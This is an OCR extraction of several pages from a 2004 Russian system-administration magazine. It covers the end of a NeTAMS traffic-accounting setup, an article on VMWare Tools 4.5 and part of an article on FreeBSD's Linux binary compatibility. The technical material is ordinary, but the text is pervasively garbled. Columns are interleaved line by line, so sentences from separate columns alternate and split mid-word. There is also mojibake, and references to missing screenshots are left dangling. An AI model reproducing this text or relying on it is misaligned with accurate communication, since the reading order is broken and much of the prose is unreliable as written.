name) будет считать весь IP-трафик. Параметр target ричный идентификатор (OID), который является ключом
может принимать следующие значения: в базе данных. Он генерируется автоматически после пер-
! ip – весь IP-трафик; вого запуска, поэтому чтобы статистика не пропала, пос-
! icmp – весь icmp-трафик; ле запуска программы надо подключиться к ней с помо-
! tcp – весь tcp-трафик; щью telnet и выполнить команду save. Она перезапишет
! udp – весь udp-трафик; netams.cfg, добавив в него сгенерированные OID. Таким
! tcp-http – весь tcp-трафик, входящий или исходящий, образом, наш файл будет выглядеть так:
порты которого 80, 808, 8080, 3128, 442;
! tcp-ports – весь tcp-трафик на указанные порты; #NeTAMS version 3.1(1801.7) compiled by root@localhost
#configuration built Thu Apr 1 09:25:23 2004
! udp-ports весь udp-трафик на указанные порты. #begin
! unit host name linux-gw ip 195.x.x.x acct-policy all-ip – опре- #global variables configuration
debug none
деляет объект, для которого будет производиться под- user oid 01327B name admin real-name "Admin" ↵
счет трафика. В данном случае объект host с именем linux- crypted $1$$GmbL3iXOMZR57QuGDLv.L1
schedule oid 08FFFF time 1min- action "html"
gw, IP-адресом 195.x.x.x (внешний адрес маршрутизато-
ра) и определенной выше политикой all-ip. Таким обра- #services configuration
зом, с помощью этого правила мы считаем весь IP-тра- service server 0
фик, поступающий из Интернета на наш маршрутизатор. login any
listen 20001
! storage 1 all – передает все данные сервису storage 1. max-conn 6
! service storage 1 – сервис, определяющий тип и пара- service processor 0
метры доступа к БД, в которой будет сохраняться ста- lookup-delay 10
тистика. policy acct oid 036633 name all-ip target ip
restrict all pass local pass
! service data-source 1 – обеспечивает поступление дан- unit host 022EB1 name linux-gw ip 195.x.x.x ↵
ных о трафике внутрь программы. В данном случае оп- acct-policy all-ip
storage 1 all
ределен источник данных ip-traffic. Этот источник ра-
ботает с системной очередью, в которую с помощью service storage 1
type mysql
iptables попадают пакеты. user netamsuser
! service html 1 – организует автоматическое периоди- password passwd
ческое создание статических html-страниц, содержа- service data-source 1
щих информацию о прошедшем трафике. Периодич- type ip-traffic
ность создания задается параметром run, в данном слу- service html 1
чае она равна 1 минуте. path /var/www/localhost/netams
run 1min
client-pages all
Теперь запускаем программу в режиме демона:
Мы рассмотрели простейший случай подсчета трафи-
# netams ка от провайдера до шлюза. В документации, поставляе-
мой с программой, настройка описана более детально.
и определим правила iptables, с помощью которых дан- Например, для каждого пользователя в локальной сети
ные будут поступать в программу: можно настроить квоту, при превышении которой NeTAMS
автоматически отключит доступ в Интернет. К тому же на
$IPTABLES -t mangle -A POSTROUTING -p all -j QUEUE сайте www.netams.com есть русскоязычный форум, в ко-
$IPTABLES -t mangle -A PREROUTING -p all -j QUEUE тором можно найти ответы на любой возникший вопрос.

№6(19), июнь 2004 11


администрирование

VMWare СО ВСЕМИ УДОБСТВАМИ

АНДРЕЙ БЕШКОВ
С момента публикации первых статей о VMWare Workstation Большинство наших проблем происходит от того, что
прошло уже довольно много времени. Кое-что поменялось сразу же после установки система не смогла найти драй-
в лучшую сторону. Например, вышла новая версия этого веров, подходящих для нашего виртуального железа. Для
программного пакета. Сегодня хотелось бы ответить на примера посмотрим, как обстоят дела в гостевой системе
вопросы читателей, наиболее часто возникающие во вре- Windows 98. Список оборудования выглядит следующим
мя пользования программой. Видимо, пришла пора напи- образом.
сать по возможности краткую инструкцию, рассказываю-
щую о решении проблем, не затронутых нами в предыду-
щих статьях.
Сразу же определимся, что сегодня в отличие от пре-
дыдущих раз, где речь шла о VMWare 4.0, я буду говорить
о VMWare версии 4.5. Это предполагает некоторые несу-
щественные различия, которые пользователи старой вер-
сии должны учесть, если собираются воплощать в жизнь
все, что будет здесь изложено.
В первую очередь мы обсудим комплект дополнительно-
го программного обеспечения, поставляющегося вместе с
VMWare Workstation. Название у него довольно традицион-
ное и, видимо, не станет для вас сюрпризом, это VMWare
Tools.
После первичной инсталляции любой из официально
поддерживаемых гостевых систем многие из читателей Согласитесь, наличие такого огромного количества
столкнулись с тем фактом, что работает все вроде бы ста- желтых вопросиков и восклицательных знаков до добра
бильно, но скорость все же не та, на которую можно было не доведет. Проблема в том, что хоть виртуальные уст-
бы рассчитывать. Попытки проиграть звук или установить ройства и маскируются под реально существующие в при-
разрешение экрана выше, чем 640х480, и цветность бо- роде, но все же стандартные драйвера от производите-
лее 16 цветов ничем хорошим не заканчиваются. Курсор лей железа к ним либо совсем не подходят, либо не спо-
мыши тоже как-то слишком вяло реагирует на наши дви- собны правильно реализовать все требуемые функции.
жения. Конечно, можно работать и так, но все же хочется Поэтому приступим к инсталляции специальных перера-
жить с комфортом. Да и надпись в нижнем левом углу ботанных драйверов, включенных в состав VMWare Tools.
каждой запущенной виртуальной машины прямо намека- Сделать это довольно просто, нужно всего лишь запус-
ет на желательность установки компонента VMWare Tools. тить гостевую систему и, дождавшись окончания загруз-
ки, воспользоваться меню VM → Install VMWare Tools. На
экране появится следующая надпись.

12
администрирование
Чаще всего видеодрайвер устанавливается автома-
тически после перезагрузки системы, но иногда этого не
случается. Если у вас именно такая ситуация, то нужно
сделать это вручную. Снова выбираем пункт меню VM →
Install VMWare Tools, чтобы примонтировать к нашему
виртуальному CD нужный образ. Затем проходим через
такую последовательность: Панель управления → Сис-
тема → Устройства → Видеоадаптер → Свойства →
Драйвер → Обновить драйвер. Устанавливаем переклю-
На первый взгляд все нормально, но внимательно про- чатели в положение «Отобразить весь список всех драй-
читав ее, приходишь к выводу, что второе предложение веров, чтобы мы могли выбрать наиболее подходящий
явно противоречит первому. Получается, что установить из них». На следующем экране жмем кнопку «установить
компонент в запущенную систему невозможно, но если с диска». И выбираем драйвер так же, как изображено
система не работает, то нужно отменить установку и дож- на следующем рисунке.
даться другого раза. Поэтому мы игнорируем все предуп-
реждения и жмем кнопку «Install». После этого диск, пред-
ставляющий виртуальный CD-ROM, будет принудительно
размонтирован и заменен имиджем диска, содержащего
в себе нужную нам версию VMWare Tools. Этот факт как
раз отображен на следующем снимке экрана.

После перезагрузки системы нам станут доступны ре-


жимы с более высоким разрешением и лучшей цветнос-
тью. Следующей проблемой, которую необходимо решить,
является отсутствие драйверов для звуковой карты. Пос-
ле установки VMWare Tools гостевая система считает, что
у нас в качестве музыкального сопровождения использует-
ся карта Creative Ensoniq Audio PCI. К сожалению, из-за
проблем с лицензированием драйвера для нее не вхо-
Скорее всего инсталляция запустится автоматически. дят в комплект поставки VMWare. А в связи с тем, что
Ну а если этого не произойдет, то нужно будет принуди- устройство появилось позднее, чем Windows 98 вышла
тельно выполнить программу setup.exe. Выбираем полный на рынок, то и в стандартной поставке этой системы их
набор компонентов и жмем «Next». тоже нет. Поэтому нам придется посетить сайт http://
www.creative.com либо http://www.americas.creative.com/
support/welcome.asp?centric=15. Выбрать там из списка
продуктов нужный и скачать драйвера.
Самая главная забава состоит в том, что при попытке
установить их в систему мы будем получать вот такую
ошибку.

Увидев ее, я пытался несколько дней с помощью раз-


ных приемов достать из инсталляционного пакета столь
необходимое содержимое. После некоторого количества
плясок с волшебным бубном я наконец-то понял, что вся
Дальнейший ход установки интереса для нас не пред- загвоздка состоит в том, что для правильного выполне-
ставляет из-за своей тривиальности и предсказуемости. ния установки нужно обновить InstallShield.
По завершении инсталляции нужно будет перезагрузить Думаю, все желающие способны сделать это самосто-
машину. Признаком удачной установки будет появление ятельно, ну а те, кому лень, могут взять освобожденный
синего значка VMWare в системном лотке и на панели уп- от оков InstallShield-дистрибутив тут: http://onix.opennet.ru/
равления. files/ensoniq.zip.
Как обычно, после перезагрузки все должно зарабо-
тать как положено, и звук наконец-то появится. Малень-
ким облачком, омрачающим жизнь, будет следующее со-

№6(19), июнь 2004 13


администрирование
общение, появляющееся на экране при каждом старте си-
стемы.

К сожалению, виртуальная звуковая карта действи-


тельно не поддерживает работу с MIDI. Впрочем, я думаю,
что для большинства пользователей VMWare это не ста-
нет катастрофой. Обновив драйвера всех устройств, с ко-
торыми у нас были проблемы, и закончив все необходи-
мые настройки, давайте посмотрим, как должна выгля- На первой вкладке нас ожидают лишь флажки, управ-
деть таблица системных устройств. ляющие синхронизацией времени между основной и гос-
тевой системами и показом иконки в системном лотке.
Опираясь на свой опыт, могу сказать, что служба синхро-
низации времени работает просто отлично.

На следующей вкладке находится интерфейс, позво-


Установка пакета, обсуждаемого в этой статье, в гос- ляющий управлять подключением устройств. На первый
тевую систему Windows 2000 выполняется гораздо про- взгляд такой функционал выглядит излишним, учитывая
ще и не требует таких замысловатых телодвижений. тот факт, что все эти действия можно выполнить с помо-
Единственное, что нужно, – это изредка нажимать кноп- щью главного меню VMWare. Единственное объяснение,
ку «Продолжить» при появлении на экране подобных позволяющее оправдать такую избыточность, – это воз-
запросов. можность перевести гостевую систему в полноэкранный
режим. В этом случае пользоваться главным меню бу-
дет слегка неудобно из-за необходимости постоянно пе-
реключать видеорежимы. В дальнейшем заострять на
нем внимание не стоит, поэтому переходим к следующей
вкладке.

Думаю, после этого каждый из вас сможет самостоя-


тельно справиться с инсталляцией VMWare Tools в любую
Windows-подобную гостевую систему. Разобравшись со
стандартными возможностями этого пакета, давайте по-
смотрим, какие еще выгоды можно получить от его ис-
пользования. Чтобы сделать это, нужно дважды кликнуть
на иконке VMWare Tools, появившейся в системном лотке
гостевой операционной системы. Она позволяет вручную запускать разные системные
Сразу же после этого нашему взгляду предстает сле- скрипты, которые вызываются при нажатии на кнопки за-
дующая картина. Как вы могли заметить, весь интерфейс, пуска, остановки и прочих управляющих пиктограмм па-
позволяющий управлять VMWare Tools, сосредоточен на нели инструментов. Ее наличие вызвано, видимо, той же
нескольких вкладках. Несколько слов о возможностях каж- самой причиной, по которой разработчики создали и пре-
дой из них. дыдущую вкладку. Не сказать, что эта возможность жиз-

14
администрирование
ненно необходима, но все же ее использование может
принести некоторое удобство.
Одной из самых больших приятностей, предоставляе-
мых VMWare Tools, являются папки общего доступа
«Shared Folders». Суть этого явления довольно проста. Мы
можем спроецировать любую папку основной операцион-
ной системы или любой сетевой диск, доступный с этой
системы, на сетевую папку общего доступа в гостевой
системе. Соответственно нам легко и просто становятся
доступны функции файлового обмена между основной и
несколькими гостевыми системами. Хотя для тех систем, которые его поддерживают, карти-
Используя глобальное меню VMWare и пройдясь по на существенно не меняется. Если честно, то мне непонят-
пунктам VM → Settings → Option → Shared Folders, попа- но, для чего, собственно, была создана эта вкладка, если
даем в контрольную панель, с помощью которой можно она не позволяет ничем управлять. Кстати, в UNIX-подоб-
управлять этой полезной возможностью. ных гостевых системах эта вкладка вообще отсутствует.
Оставим это досадное недоразумение на совести дизайне-
ров интерфейса. Ну а мы лучше посмотрим, как выглядят
папки общего доступа с точки зрения гостевой системы.

Еще одним моментом, повышающим удобство пользо-


вания, является способность довольно гибкой настройки
свойств папки общего доступа.

Наиболее внимательные читатели уже заметили, что


все эти папки присоединены к гостевой системе как обыч-
ный сетевой диск. По умолчанию он подключается к дис-
ку Z. Впрочем, это легко поддается корректировке. Права
на файлы и папки внутри этого псевдодиска соответству-
ют правам пользователя основной системы, от имени ко-
торого запущена VMWare, что, конечно, не очень удобно,
так как не позволяет разграничить доступ к ресурсу, опи-
раясь на имена пользователей гостевой системы.
Следующей полезной возможностью, о которой стоило
бы поговорить, является механизм сжатия виртуальных
дисков. Отвечает за это дело вкладка Shrink. Как вы могли
бы заметить, у нас есть два типа дисков: те, что поддаются
К сожалению, возможность работы с папками Shared сжатию, и те, кому такое счастье не светит никогда.
Folders поддерживается не всеми гостевыми системами,
а лишь теми, что перечислены ниже:
! Linux с ядром версии 2.4 и выше
! Windows Server 2003
! Windows XP
! Windows 2000
! Windows NT 4.0

Как ни странно, но вкладка Shared Folders, отобража-


емая через VMWare Tools, вообще не дает никакого фун-
кционала для управления этими самыми папками. Для
систем, не поддерживающих такие возможности, она выг-
лядит следующим образом.

№6(19), июнь 2004 15


администрирование
мер, так, чтобы система XWindow могла работать с разре-
шением 320х200. Вполне работоспособными должны быть
клавиатура и мышь. Только после этого можно приступать
к установке VMWare Tools. Все описываемые действия дол-
жны производиться с правами пользователя root. Для ALT
Linux делается это довольно просто, нужно всего лишь ско-
пировать пакет VMWare-linux-tools.tar.gz из /mnt/cdrom/auto/
в какую-либо временную директорию. Если вы не исполь-
зуете систему autofs, то вам придется вручную примонти-
ровать файловую систему с CD-ROM в нужное место, на-
пример вот так: mount –t iso9660 /dev/cdrom /mnt/cdrom.
Распаковать полученный пакет и, перейдя в папку VMWare-
tools-distrib, выполнить команду VMWare-install.pl. Скрипт
Давайте разберемся, от чего это зависит. Во-первых инсталляции, не найдя модуля, подходящего к нашему ядру,
уплотнить можно лишь устройства, являющиеся жестки- предложит скомпилировать его из исходных текстов. Как
ми дисками виртуальных машин. Соответственно сетевые это делать, описано в статье про установку VMWare для
диски и съемные устройства остаются за бортом. Жест- Linux, поэтому заострять внимание на этом не будем. В сущ-
кие диски могут быть трех типов: ности, на этом процедуру установки можно считать окон-
! Pre-allocated дисковое пространство выделяется один ченной. Для FreeBSD все то же самое выполняется доволь-
раз в момент создания такого диска. Если мы создали но просто и безболезненно.
диск размером 2 Гб, то даже будучи пустым, он будет
занимать чуть больше, чем два гигабайта. # mount –t iso9660 /dev/cdrom /cdrom
# cd /tmp
! Raw – диски, являющиеся обычными разделами на ре- # tar zxvf /cdrom/vmware-freebsd-tools.tar.gz
альном жестком диске. # cd vmware-freebsd-tools
# ./install.pl
! Compact-пространство внутри такого диска выделяет-
ся по мере надобности. Соответственно в процессе ра- Вот и вся инсталляция. В систему установлен старто-
боты он постепенно распухает, пока не дойдет до сво- вый скрипт, который запускает нужный сервис автомати-
его максимального размера. При удалении файлов, чески. Мы можем выполнить его вручную, если очень не
хранящихся внутри виртуального диска, освобождение терпится, или провести перезагрузку системы, что будет
места в файле, изображающем этот диск, не происхо- надежнее. Интересной особенностью скрипта является
дит по причине экономии процессорных ресурсов. определение того, в каком режиме стартовала система –
в гостевом или в реальном, ведь при использовании raw-
Сжатию могут быть подвергнуты только те диски, ко- дисков систему можно загружать двумя способами. Либо
торые созданы с опцией compact. Процедура это доволь- с помощью VMWare, либо самостоятельно с помощью ка-
но быстрая. К примеру, на моей машине, обладающей до- кого-нибудь стороннего загрузчика. В качестве такового
вольно средними по нынешним временам характеристи- могут выступать, к примеру, GRUB, LILO и еще некоторое
ками, на уплотнение диска размером в 4 Гб было потра- количество других программ этой направленности.
чено примерно две с половиной минуты, при учете того, Управлять свежеустановленными WMware Tools мож-
что диск был на три четверти заполнен файлами. Сжатие но с помощью команды VMWare-toolbox. Интерфейс про-
диска не только освобождает неиспользуемое простран- граммы довольно сильно похож на то, что мы видели в
ство, но и ускоряет работу гостевой системы в целом. Windows-версии.
Стоит отметить, что наибольшего прироста производи-
тельности файловых операций можно достичь, если с по-
мощью интерфейса управления виртуальными жесткими
дисками сразу же после сжатия запустить дефрагмента-
цию средствами VMWare.
На этом обзор возможностей WMware Tools для госте-
вых систем типа Windows можно считать законченным.
Давайте посмотрим, как реализована эта технология в
UNIX-подобных операционных системах. Для примера
возьмем ALT Linux Master 2.2 и FreeBSD 4.9.
Начало установки практически ничем не отличается от
такого же действия, описанного для Windows. Нужно всего
лишь воспользоваться пунктом меню VM → Install VMWare
Tools, при этом в качестве CD-диска будет присоединен iso-
файл с нужным содержимым. Затем необходимо опреде-
литься, будем ли мы использовать графику внутри вирту-
альной машины. Если да, то для начала нужно установить
XFree86 и настроить его в минимальном режиме. Напри-

16
администрирование
Судя по тем сведениям, что появились на экране, у нас
один раздел с файловой системой NTFS и его размер
8 369 802 сектора. Теперь давайте перейдем к немного
более сложному примеру. Возьмем диск от FreeBSD 4.9.

[tigrisha@tiger freeBSD]$ /usr/bin/vmware-mount.pl ↵


-p ./freeBSD.vmdk

Я думаю, с этим диском тоже все понятно. Ну что же,


давайте попробуем примонтировать первый раздел из
диска Windows Server 2003 к директории /mnt/VMWare/.

# /usr/bin/vmware-mount.pl ./Server2000_Enterprise.vmdk ↵
1 /mnt/vmware

Единственное различие состоит в том, что сжатие дис-


ков имеет право выполнять только пользователь root. Пап-
ки, доступные гостевой Linux-системе, через механизм
Shared Folders будут располагаться в /mnt/hgfs. Интере-
сен тот факт, что попытка работать с такими папками из-
под FreeBSD вызывает мгновенное падение всех запущен-
ных виртуальных машин. По крайней мере такой синдром
проявляется при использовании VMWare 4.5, работающей
под управлением основной Linux-системы.
На десерт хотелось бы поговорить о возможности ра- Как видите, несмотря на страшные сказки о том, что
ботать с содержимым виртуальных дисков гостевых сис- данная программа может не работать с ядрами выше 2.4,
тем напрямую из основной системы. Такой подход смо- в моем случае все работает отлично под ядром 2.4.25.
жет частично компенсировать отсутствие возможности Теперь файловая система будет доступна нам до тех пор,
использовать Shared Folders для переноса файлов. Для пока не будет нажата комбинация клавиш Ctrl+c, преры-
решения этой нелегкой задачи мы будем использовать вающая работу скрипта. Открываем еще одно окно тер-
инструмент под названием VMWare-mount. Он даст нам минала и смело идем в /mnt/VMWare, затем смотрим спи-
возможность примонтировать те или иные разделы, на- сок файлов, находящихся внутри этой директории.
ходящиеся внутри файла виртуального диска, в какую-
либо директорию реальной файловой системы. К сожа- # ll
лению, VMWare-mount существует только для Linux. По-
этому те, кто работает с VMWare под Windows, оказыва-
ются не у дел.
Для начала нужно посмотреть, какие разделы есть
внутри нужного нам виртуального диска. Для выполнения
данного действия мы используем ключ –p. К примеру,
возьмем диск от Windows Server 2003.

$ /usr/bin/vmware-mount.pl -p ./Server2003_Enterprise.vmdk

Все работает как часы. На этом хотелось бы завершить


наш сегодняшний разговор. Надеюсь, что знания, приоб-
ретенные в процессе чтения этой статьи, помогут вам сде-
лать более приятным время, проведенное внутри VMWare.

№6(19), июнь 2004 17


администрирование

FreeBSD-БИНАРНАЯ
СОВМЕСТИМОСТЬ Мы с тобой одной крови – ты и я.

Р. Киплинг «Маугли»
С LINUX
АНДРЕЙ БЕШКОВ
Если спросить любого мало-мальски искушенного в ком- сконцентрировать свое внимание на самом выгодном с
пьютерных системах человека, какая UNIX-система на его точки зрения варианте операционной системы. В дан-
данный момент наиболее популярна, большинство, не за- ном случае комбинация системы и набора программного
думываясь, ответят – Linux. Несмотря на то что, по моему обеспечения, с которым клиент желает работать, будут
мнению, в мире существует немало систем, которые по тесно связаны между собой. Поэтому на рынке довольно
своим объективным качествам превосходят пингвина и его часто встречается ситуация, когда заказчику приходится
производные, все же любимцем публики стал именно он. работать с операционной системой, с которой он ни за
Такую огромную популярность этой системы можно объяс- какие коврижки не стал бы связываться при других об-
нить несколькими факторами. Linux проще в первоначаль- стоятельствах. Идти на такие жертвы приходится только
ном освоении, чем многие его конкуренты. Диалектов из-за того, что нужная ему программа существует только
Linux существует великое множество, и соответственно для этой и никакой другой системы. Возможно, то, о чем
каждый алчущий избавления от засилья Microsoft может мы будем говорить сегодня, поможет сгладить эту непри-
найти себе что-то наиболее близкое к представлению об ятную зависимость и отсутствие выбора.
идеальной системе. В отличие от поклонников BSD-сис- Таким образом, наша беседа неспешно подошла к
тем, которые спокойно и тихо делают свое дело, пользо- тому, что успех Linux в определенной мере полезен всем
ватели Linux довольно активно пропагандируют свое ув- свободным UNIX-подобным системам. Сегодня мы пого-
лечение как образ жизни. В то же время лицензия на ком- ворим о том, как пользователи FreeBSD могут приобщить-
поненты и инструменты, используемые в процессе рабо- ся к плодам Linux, благополучно заимствуя у своего пинг-
ты, намного либеральнее, чем обычная BSD-лицензия, что виновидного родственника те программы, которые отсут-
делает систему гораздо привлекательнее для создания ствуют в нашей продуктовой корзине. Для этого нам по-
проприетарного программного обеспечения. Многие боль- требуется всего лишь включить так называемый механизм
шие игроки этого рынка довольно быстро осознали эти бинарной совместимости, изначально встроенный в не-
преимущества, поэтому довольно часты случаи, когда зак- дра FreeBSD. А это, в свою очередь, позволит запускать и
рытое по своей сути программное обеспечение для Linux успешно эксплуатировать большинство Linux-программ
раздается гигантами индустрии бесплатно в скомпилиро- без всякой переделки внутри FreeBSD. Для всех приме-
ванном специально для этой системы виде. Единствен- ров, приводимых в статье, использовалась FreeBSD вер-
ной тайной остается исходный текст таких подарков, обыч- сии 4.9, хотя под более младшими версиями системы все
но содержащий те или иные секретные ноу-хау. В то же вышеописанное должно работать примерно так же.
время при использовании BSD-систем надеяться на та- Давайте предпримем небольшой экскурс в историю
кие жесты доброты не стоит. Такова объективная реаль- обсуждаемого вопроса. Началось все в середине1996 года.
ность, данная нам в ощущениях, и раздувать из-за этого Только что вышла FreeBSD 2.1.5 и Linux постепенно начи-
религиозные войны не стоит. Часто обстоятельства скла- нал набирать популярность в пока что узких кругах своих
дываются так, что свободно распространяемых аналогов энтузиастов. Разработчики FreeBSD довольно быстро за-
закрытого обеспечения не создано и, вероятнее всего, они метили потенциал Linux и решили, что бинарная совмести-
никогда не появятся на свет, особенно для BSD. Для меня мость с такой перспективной системой будет весьма кста-
столь необходимыми программами являются Citrix ICA ти. К тому моменту FreeBSD уже была способна запускать
Client, позволяющий работать с сервером Citrix MetaFrame приложения, написанные для MS-DOS и SCO Unix. Поэто-
и Аcrobat Reader. му для того чтобы работа с Linux-программами стала воз-
В то же время производителя вполне можно понять. можна, не пришлось открывать новые континенты и делать
Для осуществления квалифицированной поддержки поль- какие-то кардинальные изменения в коде эмулятора. К на-
зователей своей программы, работающей на разных сис- чалу 1997 года система эмуляции уже была способна за-
темах, нужно иметь в своем распоряжении довольно боль- пускать Applixware, скомпилированный для Red Hat Linux.
шое количество инженеров, консультантов и разработчи- К тому моменту в разговорах о подсистеме, обеспечиваю-
ков. С каждой новой операционной системой список этих щей совместимость с Linux, постепенно выкристаллизовал-
людей растет. Во многих случаях оплачивать такое коли- ся и приобрел популярность термин, которым разработ-
чество высококлассных специалистов экономически не- чики и пользователи пытались описать то, что происхо-
выгодно. Соответственно производитель снова вынужден дит внутри программы, запускаемой в чужеродной среде.

18
администрирование
К сожалению, на тот момент никто так и не смог предло- Можно поступить по-другому. Запускаем программу
жить названия лучшего, чем «бинарная эмуляция». Как мы /stand/sysinstall и проходим через меню Configure →
убедимся позднее, при подробном рассмотрении архитек- Packages, затем необходимо выбрать, откуда будет взят
туры обсуждаемой системы этот термин не имеет ничего пакет ftp, http, CD. Затем перейти в раздел emulators и
общего с реальным положением вещей. Но об этом позволь- выбрать все тот же пакет linux_base. По завершении ин-
те сказать позднее. С каждым годом количество поддер- сталляции не забываем внести изменения в /etc/rc.conf.
живаемых приложений росло за счет все более точной ре- После перезагрузки системы можно будет запускать Linux-
ализации Linux API. На данный момент существует мнение, программы. Доказательством того, что все идет по плану,
выражаемое разработчиками системы, которое говорит, будет следующая надпись, появляющаяся после загрузки
что 90% Linux-программ будут работать так же надежно под на системной консоли: «Additional ABI support: Linux».
управлением FreeBSD, как и под крылом родной системы. Убедиться, что модуль правильно загрузился, можно,
Самыми известными из них являются: выполнив команду kldstat. В ответ должны получить что-
! VMWare Workstation ! Mathematica то вроде этого:
! ORACLE ! Maple
! SAP/R3 ! Quake
! Crossover Office ! SAP Notes
! WordPerfect ! Doom
! RealPlayer В директории /usr/compat/linux появится иерархия фай-
лов, созданная по образу и подобию нашей виртуальной
Единственная проблема, которая может помешать Linux- Linux-системы.
программе спокойно жить в нашей системе, это слишком
глубокое использование файловой системы /proc, так как
ее реализация весьма отличается от системы к системе.
Еще одной западней для Linux-программы могут стать не-
стандартные способы работы с устройствами. В осталь-
ном же система работает на удивление хорошо прозрач-
но и стабильно.
Платой за такую переносимость станет потеря пример-
но 2% быстродействия. Хотя по странному стечению об-
стоятельств некоторые чужие приложения функциониру-
ют под управлением FreeBSD даже быстрее, чем под Linux, Версию установленной системы можно узнать вот так:
особенно часто такой эффект наблюдается при работе
приложений, записывающих очень много данных на жес-
ткие диски. Видимо, файловая система ufs в данном ас- В случае если вам не хочется подгружать необходи-
пекте является лучшей альтернативой, чем ext3, стандар- мый модуль, при старте системы можно жестко вкомпи-
тная для Linux. лировать его в ядро. Для этого нужно дописать в файл
Ну что же, давайте приступим к инсталляции единствен- конфигурации нового ядра опцию:
ного пакета linux_base. Выполнить это немудреное действо
можно несколькими способами. Первый раз это обычно пред- options LINUX
лагают сделать при первоначальной установке системы.
И затем произвести компиляцию и установку свеже-
собранного ядра. Выбор используемого пути оставляю за
вами, в любом случае бинарная совместимость должна
работать, если вы правильно выполнили мои инструкции.
Закончив с инсталляцией, давайте разберемся, как же
работает эта магическая комбинация, позволяющая за-
Если вы пропустили этот момент или ответили нет, то пускать вожделенные Linux-приложения. Многие техничес-
огорчаться не стоит. Можно выполнить инсталляцию с по- ки продвинутые читатели будут удивлены описываемыми
мощью портов. возможностями. И впрямь, несмотря на схожесть идеоло-
гий, две обсуждаемые системы весьма отличаются друг
# cd /usr/ports/emulators/linux_base от друга реализацией своих внутренних API (Application
# make install distclean
Programming Interface). Давайте подробнее разберемся в
И добавить в файл /etc/rc.conf следующую строку: этом запутанном вопросе. Практически все UNIX-подоб-
ные системы состоят из двух компонентов. Это ядро, от-
linux_enable= "YES" вечающее за работу с устройствами, системой безопас-
ности, и системные утилиты вкупе с пользовательскими
Данная строка указывает системе, что во время стар- программами, которые выполняют свои задачи, опираясь
та надо загружать модуль ядра linux.ko, отвечающий за на системные функции, предоставляемые ядром. К при-
нужную нам функциональность. меру, если программа желает открыть какой-либо файл,

№6(19), июнь 2004 19


администрирование
она вызывает системную функцию open и передает ей не- личать его от обычных FreeBSD-процессов, а модуль ядра
которое количество параметров, описывающих то дей- linux.ko, опираясь на вышеуказанную метку, особым обра-
ствие, которое необходимо выполнить. Ядро, получив зап- зом обрабатывает сигналы с тем прицелом, чтобы у про-
рос, выполняет его, если он может быть осуществлен без цесса полностью создалось ощущение жизни внутри род-
конфликта с системой безопасности, а полученные данные ной системы. Еще одним из полезных фокусов является
возвращаются программе, создавшей запрос. Большинство то, что при попытке Linux-программы выполнить другую
ядер UNIX-систем имеют схожий набор функций, но в то же программу, поиск файла будет сначала вестись в директо-
время типы данных, количество передаваемых параметров риях /usr/compat/linux, а в случае если ничего подходящего
и их порядок могут довольно сильно различаться. не нашлось, продолжится уже в корневой файловой систе-
Несмотря на то, что в обеих системах для хранения ме. Яркой иллюстрацией таких уловок является поведение
исполняемых программ используется формат ELF, все же команды uname, родной для FreeBSD и Linux.
он слегка различается. Соответственно для запуска Linux-
приложения система должна корректно определить тип ис-
полняемого файла по его магической комбинации, обыч-
но это первые 8 байт заголовка. Затем, пользуясь абст-
рактным классом загрузчика «execution class loader», в
котором содержится таблица всех доступных на данный
момент загрузчиков, система определяет, кому нужно от-
дать его на выполнение. В случае если этот файл оказы-
вается шелл-скриптом, вызывается стандартная команд- Всем желающим предлагается самостоятельно найти
ная оболочка или та ее разновидность, название которой десять отличий.
записано в первой строке выполняемого скрипта. В слу- Разобравшись с хитросплетениями устройства бинар-
чае если нам в лапы попался файл в формате ELF, вызы- ной совместимости, давайте наконец-то перейдем к прак-
вается специализированный загрузчик этого типа файлов. тическим занятиям. В качестве первого примера посмот-
На данном этапе загрузчик еще не знает, какой операци- рим на инсталляцию Citrix ICA Client. Тут все просто. Бе-
онной системе принадлежит полученный файл. К приме- рем с сайта Citrix дистрибутив либо в формате tar.gz (Citrix_
ру, он может быть создан для Linux, Solaris, FreeBSD или linuxx86.tar.gz), либо в rpm (ICAClient-7.00-1.i386.rpm).
какой-либо другой системы, также имеющей привычку Оба они равнозначны, поэтому давайте посмотрим, как
хранить свои исполняемые файлы в формате ELF. Соот- их устанавливать всеми доступными способами. В слу-
ветственно, чтобы узнать, чья это вещь, загрузчик смот- чае с tar.gz нужно распаковать пакет и запустить скрипт
рит в специальную секцию ELF-файла и ищет известную setuwfc. Несмотря на жалобы о том, что FreeBSD не вхо-
ему метку (brand), однозначно описывающую родную для дит в список поддерживаемых систем, инсталляция про-
приложения систему. Если это ему не удается, то процесс ходит на ура. Все жалобы проистекают от того, что скрипт
загрузки прерывается, а на экране появляется вот такое вызывает команду uname для определения типа исполь-
сообщение: зуемой системы, а в связи с тем, что загрузчик не распоз-
нает этот скрипт как Linux ELF-файл, то и подмена вызо-
вов системных утилит не происходит. Соответственно
вместо /usr/compat/linux/bin/uname работает /usr/bin/uname,
В последнее время такая ситуация встречается очень честно сообщающая, что у нас не Linux, а FreeBSD. Впро-
редко, но все же стоит знать, как побороть это досадное чем, эта мелкая неполадка для нас не критична. Сразу
недоразумение. Нужно всего лишь вручную промаркиро- же после завершения установки мы обнаруживаем, что
вать исполняемый файл именем родной системы. Для все нужные файлы вполне удачно проинсталлировались
Linux это будет выглядеть следующим образом. в /usr/lib/ICAClient/.
Если же вам хочется установить программу непремен-
# brandelf -t Linux èìÿ ïðîãðàììû но из rpm, то нужно сделать вот так:

Ну а мы продолжим рассмотрение процесса загрузки. # rpm -i --dbpath /var/lib/rpm --root /usr/compat/linux ↵


--ignoreos ./ICAClient-7.00-1.i386.rpm
После того как произошло определение принадлежности
файла, в случае если мы работаем с Linux-приложением, По идее все должно пройти отлично, хотя иногда я встре-
происходит следующее: загрузчик изменяет указатели в чал такие rpm-пакеты, которые по разным причинам вызы-
специальной структуре proc, содержащей внутри себя ад- вают падение программы rpm. В таком случае можно вруч-
реса системных функций так, чтобы вместо родных функ- ную распаковать rpm-пакет, например, с помощью mc и раз-
ций ядра FreeBSD управление получали специальные фун- ложить все файлы по нужным директориям самостоятель-
кции, реализующие соответствующее поведение ядра Linux. но. После удачной установки rpm-пакета все вновь создан-
Таким образом получается, что никакой эмуляцией тут и ные файлы обычно находятся в /usr/compat/linux.
не пахнет. Просто в момент вызова Linux-приложением тех После первоначальной настройки Citrix ICA Client c
или иных функций система жонглирует указателями, лов- помощью wfcmgr программа вполне готова к употребле-
ко обманывая программу. Процесс Linux-приложения по- нию. В этом можно убедиться, посмотрев на следующий
мечается специальным флагом, позволяющим системе от- снимок экрана.

20
администрирование
